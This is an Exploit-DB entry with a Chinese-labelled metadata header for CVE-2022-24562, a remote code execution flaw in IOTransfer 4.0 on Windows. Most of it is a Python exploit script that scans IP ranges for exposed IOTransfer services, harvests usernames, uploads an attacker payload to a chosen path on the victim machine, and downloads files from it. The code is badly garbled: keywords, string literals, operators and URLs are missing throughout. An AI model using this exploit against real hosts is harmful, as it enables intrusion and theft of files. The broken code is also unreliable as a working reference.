标题: IOTransfer 4.0 - Remote Code Execution (RCE) EDB-ID: 50974 CVE: 2022-24562 类型: REMOTE 平台: WINDOWS 发布日期: 2022-07-21 漏洞利用脚本: # Exploit Title: IOTransfer V4 – Remote Code Execution (RCE)
# Date: 06/22/2022
# Exploit Author: Tomer Peled
# Vendor Homepage: https://www.iobit.com
# Software Link: https://iotransfer.itopvpn.com/
# Version: V4 and onward
# Tested on: Windows 10
# CVE : 2022-24562
# References: https://github.com/tomerpeled92/CVE/tree/main/CVE-2022%E2%80%9324562

import os
from urllib3.exceptions import ConnectTimeoutError
from win32com.client import *
import requests
import json

localPayloadPath  r
remotePayloadPath
remoteDownloadPath  r
Range  
UpOrDown
IP  
UserName  

 file_path
    information_parser  Dispatch
    version  information_parserGetFileVersionfile_path
     version


 IP taskid
    
    url  f
    res  requestsgeturl
    tasks  jsonloadsrescontent
    tasks  jsonloadstasks
     task  tasks
         taskid  task
            f


 IP
    SetSavePathIP
    url  f
    task  
         
         
         
         
    
    res  requestsposturl jsontask
    task  jsonloadsrescontent
    task  jsonloadstask
    taskid  task
    f
     taskid


 IP taskid remotePath size
    url  f
    file_info  
         size
         remotePath
         remotePath
         r
         
         
    
    res  requestsposturl jsonfile_info
    js  jsonloadsrescontent
    f


 Path
      Path 
    byte  read
      
       b
        byte  byte  read
          read
           b
            byte  byte  
    close
     byte


 IP taskid localPayloadPath
    url  f
    send_data  readFilelocalPayloadPath
    
        res  requestsposturl datasend_data
        js  jsonloadsrescontent
         js  
            
        
            f
    
        
        res  requestsposturl datasend_data
        js  jsonloadsrescontent
         js      js
            
        
            f


 IP
    url  f
    config  
         
    
    requestsposturl jsonconfig

 IPpayloadPathrPathtaskid 
      taskid
        taskid  CreateUploadTaskIP
        size  ospathgetsizepayloadPath
    CreateUploadDetailNodeIP taskid remotePathrPath sizesize
    CallUploadIP taskid payloadPath


 IP Path  
    url  f
    task  
         
         
         
         
         Path
    
    res  requestsposturl jsontask
    task  jsonloadsrescontent
    task  jsonloadstask
    taskid  task
    f
     taskid


 IP DownloadPath ID
     ID
        url  f
    
        taskid  CreateDownloadTaskIP DownloadPath
        url  f
    res  requestsgeturl
     res

 startRange
     end
    Current  
    IP  f
    VulnerableIP   
    UserName   
     Current  
         end
        url  f
        
            res  requestsgeturl timeout
            js  jsonloadsrescontent
            js2  jsonloadsjs
            UserName  js2
            VulnerableIPIP
            f
            f
             VulnerableIPUserName
         Exception  e
            
         ConnectTimeoutError
            
        IP  f
        Current  Current  
     


 __name__  
    IPUserName  ScanIPRange
     IP    UserName  
        
        exit
    
     UpOrDown  
        f
        f
        ExploitUploadIPlocalPayloadPathremotePayloadPath
     UpOrDown  
        f
        res  ExploitDownloadIP remoteDownloadPath
           
        writerescontent
        close URL: https://www.exploit-db.com/exploits/50974